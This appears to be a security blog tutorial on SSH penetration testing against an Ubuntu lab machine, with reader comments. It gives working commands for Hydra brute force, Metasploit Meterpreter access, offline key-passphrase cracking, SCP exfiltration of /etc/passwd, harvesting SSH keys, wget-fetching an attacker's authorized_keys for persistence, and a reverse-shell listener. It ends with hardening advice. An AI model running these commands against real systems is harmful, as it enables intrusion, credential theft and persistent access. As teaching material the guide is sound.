SSH Penetration Testing (Port 22)
Introduction
SSH (Secure Shell) is one of the most widely deployed remote-access protocols in the world. It provides encrypted communication between a client and a server, making it a cornerstone of system administration, DevOps pipelines, and cloud infrastructure. Because SSH is so ubiquitous and often the only open port on a hardened server, it is also a high-value target for attackers.
This extended guide walks through the complete penetration-test lifecycle against an SSH service running on Ubuntu 22.04 LTS (hostname: ignite, IP: 192.168.1.9) from a Kali Linux attacker machine (192.168.1.17). Coverage spans initial enumeration, brute-force credential recovery, remote command execution, Metasploit exploitation, private-key cracking, SCP data exfiltration, credential harvesting via Metasploit post modules, SSH port forwarding to reach internal services, reverse shell pivoting, and a series of hardening measures.
Table of Contents
- Introduction
- Lab Setup— Installing OpenSSH Server
- Reconnaissance— Service Enumeration with Nmap
- Credential Attacks— Hydra & NetExec Password Spraying
- Initial Access— SSH Login, Remote Command Execution & Meterpreter
- Changing the SSH Listening Port
- Enumerating Authentication Methods
- Key-Based Authentication & Disabling Passwords
- Cracking Passphrase-Protected Private Keys
- Data Exfiltration— SCP & NetExec File Operations
- Post-Exploitation— Harvesting SSH Credentials via Metasploit
- Local Port Forwarding— Reaching Internal Services
- Reverse Shell— Pivoting via Bash TCP
- Persistent Access— Key Injection via Authorized Keys
- Conclusion & Hardening Takeaways
Lab Setup— Installing OpenSSH Server
Before the penetration test can begin, the target Ubuntu machine must have OpenSSH server installed and run. On a freshly provisioned Ubuntu 22.04 instance, this is accomplished with the APT package manager.
apt install openssh-server

The package manager installs four components alongside the server. openssh-sftp-server for file-transfer support, ncurses-term for terminal definitions, and ssh-import-id for importing public keys from GitHub or Launchpad. Once installed the service starts automatically and listens to TCP port 22 using the default configuration, which permits password authentication — the primary weakness exploited in this lab.
Reconnaissance — Service Enumeration with Nmap
Reconnaissance is the first phase of any penetration test. Before attempting to exploit a service the attacker must confirm what is running, identify the exact version, and map the authentication surface.
Version Scan on Port 22
nmap -sV -p 22 192.168.1.9
The -sV flag triggers version detection probes. The MAC address prefix 00:0C:29 identifies the NIC as a VMware virtual adapter. OpenSSH 8.9p1 is the default package on Ubuntu 22.04 LTS.

Credential Attacks
Dictionary Attack with Hydra (Port 22)
Since the authentication is password based hence the service can be brute forced against a username and password dictionary using hydra to find the correct username and password. After creating a username dictionary as users.txt and password dictionary as pass.txt, the following command can be used:
hydra -L users.txt -P pass.txt 192.168.1.9 ssh

Password Spraying with NetExec
nxc ssh 192.168.1.9 -u users.txt -p 123
NetExec’s spray reveals that pentest is the only user with this password and, critically, that the account is a member of the sudo group — meaning privilege escalation to root requires no additional credentials.

Exploitation — Initial Remote Access
Direct SSH Login
After obtaining the username as pentest and the password as 123, the attacker can now authenticate into the SSH service by using the command:
ssh pentest@192.168.1.9

Remote Command Execution via NetExec (-x flag)
NetExec can run single commands over an authenticated SSH connection without opening an interactive shell. This is useful for rapid, non-interactive data gathering:
nxc ssh 192.168.1.9 -u pentest -p 123 -x ifconfig

The -x flag passes a shell command to the remote interpreter. Output is displayed inline. This technique is effective for reading configuration files, user data, or any world-readable file on the target — in this case revealing a message in /tmp/file.txt.
Meterpreter via Metasploit multi/ssh/sshexec
An alternate way to perform the above procedure could be done by using the Metasploit module. The exploit multi/ssh/sshexec can be used to authenticate into the SSH service. Here we are assuming that the attacker has compromised the username and password already. Following will be the commands inside the Metasploit:
msf > use exploit/multi/ssh/sshexec msf exploit(multi/ssh/sshexec) > set rhosts 192.168.1.9 msf exploit(multi/ssh/sshexec) > set username pentest msf exploit(multi/ssh/sshexec) > set password 123 msf exploit(multi/ssh/sshexec) > set target 1 msf exploit(multi/ssh/sshexec) > set payload linux/x86/meterpreter/reverse_tcp msf exploit(multi/ssh/sshexec) > run

The module logs in via SSH, drops a compiled stager binary, executes it, and establishes a reverse TCP Meterpreter session. This gives the attacker a full post-exploitation framework including file browsing, process management, and pivoting capabilities.
Running commands on remote machine
SSH service can also be used to run the system commands on remote machine. The following command can be used:
ssh pentest@192.168.1.9 'ifconfig'

Changing the SSH Listening Port
Running SSH on the default port 22 exposes it to automated scanners and botnets. Moving it to a non-standard port reduces automated attack noise, though it does not stop a targeted attacker who performs a full port scan.
cd /etc/ssh nano sshd_config
The default port can be seen here as 22 in the commented line.

The port can be changed to 2222 by removing the commented line as Port 2222.

Verification and Bypassing the New Port
After saving the changes in the file, the enumeration performed using kali linux now shows the SSH service running on the new port number 2222.
nmap -sV -p 2222 192.168.1.9

The brute force still succeeds on port 2222. A non-standard port reduces noise from automated tools that only scan common ports, but any attacker running a full-range nmap scan (-p-) will find it immediately. The underlying credential weakness must also be addressed.

Enumerating Supported Authentication Methods
nmap --script ssh-auth-methods --script-args="ssh.user=pentest" -p 22 192.168.1.9

Both publickey and password authentication are enabled. Password authentication confirms susceptibility to brute-force attacks.
Key-Based Authentication and Disabling Passwords
Public-key authentication is fundamentally stronger than passwords because the private key never traverses the network and cannot be brute-forced remotely. Disabling password authentication eliminates the entire remote brute-force attack surface.
Generating RSA Key Pair on the Target
The public and private key pair can be generated using the ssh-keygen tool inside the ubuntu machine. A passphrase is also setup for the id_rsa key such that when the user will login using the key based authentication, a passphrase will also be required. By default, the path to store the id_rsa and id_rsa.pub is the .ssh folder of the user’s home directory i.e., /home/pentest/.ssh/id_rsa.
ssh-keygen

Modern versions of ssh-keygen default to ED25519 rather than RSA. The resulting key pair is only 399 bytes (private) and 91 bytes (public) compared to 2602/568 bytes for RSA 3072 — a 6x size reduction with no loss of security.
Setting Up authorized_keys
Next step is copying the public key (id_rsa.pub) to the authorized_keys file in the same directory.
The authorized_keys file on the remote server contains a list of public keys that are authorized to access the server. By copying the public key (id_rsa.pub) to this file, we are telling the server to trust any connection that presents the corresponding private key.
cd .ssh ls -la cat id_rsa.pub > authorized_keys ls

Disabling Password Authentication
Then, we can disable the password based authentication in the /etc/ssh/ssd_config file. There is commented line #PasswordAuthentication which is set to yes.

We can change it to no and remove the comment from the line to allow the key based authentication and disable the password based authentication.

Verification — Only Publickey Remains
nmap --script ssh-auth-methods --script-args="ssh.user=pentest" -p 22 192.168.1.9

Password authentication has been removed. Hydra attacks against this server will now fail immediately — the server rejects any password-based login attempt at the protocol level.
Passwordless Login with Private Key
Let’s assume a scenario where we can somehow get the private key of the ubuntu user, then we can directly login using the key based authentication. However, we have to give the private key read and write privilege to the owner but we should take precaution that we are not giving the key over permissions. To give appropriate permissions we will use the following command:
chmod 600 id_rsa ssh -i id_rsa pentest@192.168.1.9

Attacking Passphrase-Protected SSH Private Keys
A common hardening recommendation is to protect SSH private keys with a strong passphrase so that even if the key file is stolen it cannot be used without knowing the passphrase. This section demonstrates how an attacker can crack a weak key passphrase offline using ssh2john and John the Ripper.
Extracting the Hash with ssh2john
John the Ripper cannot crack SSH keys directly — first the key must be converted into a hash format that John understands. The ssh2john utility performs this conversion:
ssh2john id_rsa > sshhash
ssh2john reads the private key file (id_rsa), extracts the encrypted key blob, and writes it to a file (sshhash) in John’s hash format. The resulting file looks like a standard John input with the key identifier as the username field.
Cracking with John the Ripper + rockyou.txt
john -w=/usr/share/wordlists/rockyou.txt sshhash

John successfully recovers the passphrase: 123. The cost fields reveal that the key uses Bcrypt/AES (KDF cost 2) — the strongest of the three KDF options shown. Despite the strong KDF, the trivial passphrase is recovered in 92 seconds using the rockyou.txt wordlist on four CPU threads.
Data Exfiltration via SSH — SCP and NetExec File Operations
File Upload with NetExec –put-file
Once authenticated, SSH provides multiple mechanisms for transferring files between the attacker and the target. This section demonstrates two approaches: SCP (Secure Copy Protocol) and NetExec’s built-in file download capability.
nxc ssh 192.168.1.9 -u pentest -p 123 --put-file file.txt /tmp/file.txt

File Download with NetExec –get-file
NetExec provides a dedicated –get-file flag for downloading remote files without opening an interactive shell:
nxc ssh 192.168.1.9 -u pentest -p 123 --get-file /etc/passwd passwd

Uploading Files with SCP
In computing, SCP (Secure Copy Protocol) is a method for securely transferring files between computers over a network. It is built on top of the SSH (Secure Shell) protocol, inheriting its encryption and authentication features to protect data during transit.
SCP allows the attacker to push files onto the target — useful for dropping tools, payloads, or staged binaries:
scp file.txt pentest@192.168.1.9:/home/pentest/

Downloading Files with SCP
Reversing the argument, order pulls files from the target to the attacker. Here the attacker exfiltrates /etc/passwd — a critical file containing all system usernames, UIDs, GIDs, and home directories:
scp pentest@192.168.1.9:/etc/passwd

Post-Exploitation — Harvesting SSH Credentials with Metasploit
Once a Meterpreter session is open, Metasploit’s post-exploitation modules can automate credential collection from the compromised host. The post/multi/gather/ssh_creds module specifically targets SSH keys stored in user home directories.
Running the ssh_creds Post Module
msf > use post/multi/gather/ssh_creds msf post(multi/gather/ssh_creds) > set session 1 msf post(multi/gather/ssh_creds) > run

The module enumerates all ~/.ssh directories on the compromised host, then downloads three key files: the public key (id_rsa.pub), the authorized keys list, and the private key itself (id_rsa). All artefacts are saved to Metasploit’s local loot directory with timestamped filenames.
Using the Harvested Private Key
mv /root/.msf4/loot/20260401184358_default_192.168.1.9_ssh.id_rsa_945878.txt key chmod 600 key ssh -i key pentest@192.168.1.9

The loot file is renamed to key for convenience, permissions are set to 600 (required by the SSH client), and the key is used to authenticate without any password. This demonstrates how a single Meterpreter session can yield persistent, password-independent access to the target even after password authentication is later disabled.
Local Port Forwarding (Password Based Authentication)
Let’s assume a scenario where we have an initial access and there is a web application running on the target machine internally at port 8080, directly we cannot access the web application in our browser. But through the Local port forwarding supported by SSH we can access the web application on our kali machine. Local port forwarding forwards a port on the local machine to a port on a remote server through an SSH connection.
It can be seen below that the application running internally on the ubuntu machine is directly not accessible from our kali machine.

Furthermore, from the initial shell access, it is evident that the web application is running internally on port 8080.
netstat -ntlp

SSH supports the local port forwarding functionality and hence the web application can be accessed in the kali machine using the local port forwarding command:
ssh -L 8080:127.0.0.1:8080 pentest@192.168.1.9

Reverse Shell — Pivoting Out via Bash TCP
In some engagement scenarios the attacker may need a raw shell rather than an SSH session — for example to run tools that interact directly with a TTY, or to establish a non-SSH callback channel that evades SSH-specific monitoring. A bash reverse shell achieves this by having the target initiate a raw TCP connection back to the attacker.
Generating the Payload
Reverse shell generators such as revshells.com present pre-formatted one-liners for dozens of languages and encodings. For this lab, the classic Bash /dev/tcp method is used:

Executing the Payload on the Target
With SSH access already established, the payload is executed on the target’s interactive session:

Setting Up the Listener on Kali
A reverse shell is gained at port 1234. Upon enumerating the running services, it can be seen that a web application is running internally on port 8080.
rlwrap nc -lvnp 1234 netstat -tlnp
The reverse shell connects back and the attacker receives a fully interactive bash prompt. From this shell, running netstat -tlnp again confirms the internal service on 127.0.0.1:8080 — providing a second confirmation path for the port-forwarding discovery in the previous section.

Here we are generating the ssh key locally in the kali machine, since we already have an initial access so it will be better if we copy the public key of the root user of kali to the authorized_keys file in the ubuntu system.
ssh-keygen cd .ssh ls -al cat id_ed25519.pub > authorized_keys updog -p 80

Inside the initial shell which was gained earlier, we will replace the authorized_keys file inside the .ssh directory of the pentest user.
cd .ssh wget http://192.168.31.141/authorized_keys ls -al

Then, once the authorized_keys file is copied now we can use the private key of root user inside kali machine to perform local port forward and access the web application running at port 8080. Here we are forwarding the application port to 7777 in the kali machine.
ssh -i id_ed25519 -L 7777:127.0.0.1:8080 pentest@192.168.1.9

Conclusion
This extended guide documented the complete lifecycle of a sophisticated SSH penetration test — from initial service discovery through 25 distinct attack and defence steps. The lab demonstrated that a single weak password (123) is the root cause of every attack that followed: credential brute-force, Meterpreter sessions, data exfiltration, credential harvesting, and persistent access via stolen keys all traced back to that one failure.
The advanced topics — key passphrase cracking with ssh2john/John, SSH port forwarding to reach localhost-bound services, and the bash /dev/tcp reverse shell — illustrate that SSH is not merely a login protocol. It is a full tunnelling and pivoting platform that grants attackers capabilities far beyond a simple shell if credentials or keys are compromised.
Key takeaways from the extended lab:
- Weak passwords are the root cause. Every attack in this lab was enabled by pentest:123. Strong, unique passwords or key-based auth eliminate the brute-force attack vector entirely.
- Private keys must be treated like passwords. A stolen id_rsa provides persistent, password-independent access. Keys should be passphrase-protected with strong passphrases and stored securely.
- Key passphrases must be strong. Bcrypt KDF is expensive — but a passphrase found in rockyou.txt will still be cracked in seconds. Use 20+ character random passphrases.
- SCP and port forwarding expand the blast radius. SSH is not just a shell. An authenticated attacker can exfiltrate data, upload tools, and reach services that are not directly network-accessible.
- Metasploit post modules automate credential theft. The ssh_creds module harvests all key material in seconds. Regularly audit .ssh directories across all hosts.
- Disable AllowTcpForwarding if port forwarding is not needed. This single directive blocks the entire class of tunnelling attacks demonstrated in Section 12.
- Defence in depth wins. No single control is sufficient — the combination of key-based auth, strict sshd_config, firewall egress filtering, Fail2ban, and SIEM monitoring makes successful attack exponentially harder.
Author: Vinayak Chauhan is an InfoSec researcher and Security Consultant. Contact here
Thank you for information!
Best Regards.
Very good article, thanks, pal.
Thanks for sharing
Impressive 😉
How to know the “given password” for the PuTTy configuration?
Thank you for sharing !
Amazing sir,
How to bruteforce ssh on different port …ex: port 2222
Use hydra tool
Just ameging
Thank you for sharing this. Couple of things are not working as expected need bit more clarity :
Local Port Forwarding (Password Based Authentication)
Local Port Forwarding (Key Based Authentication)
&
Authentication using Metasploit
Let’s assume a scenario where we can somehow get the private key of the ubuntu user, then we can directly login using the key based authentication. However, we have to give the private key read and write privilege to the owner, but we should take precaution that we are not giving the key over permissions. To give appropriate permissions we will use the following command:
Question: The question to ask here is, why we have to give the read and write permission to the private key?
Answer: Here’s the key point: SSH is strict about the file permissions of private keys.
If you’re using OpenSSH (the default on most Linux distros), the SSH client won’t use a private key if it is too open (i.e., if the permissions are too relaxed).
Why?
Because SSH assumes that if others can read your private key, then it may be compromised — so it refuses to use it as a security precaution.
Typical Error You Might See:
If you try to use a private key with loose permissions, SSH will throw an error like:
output :
Permissions 0644 for ‘id_rsa’ are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.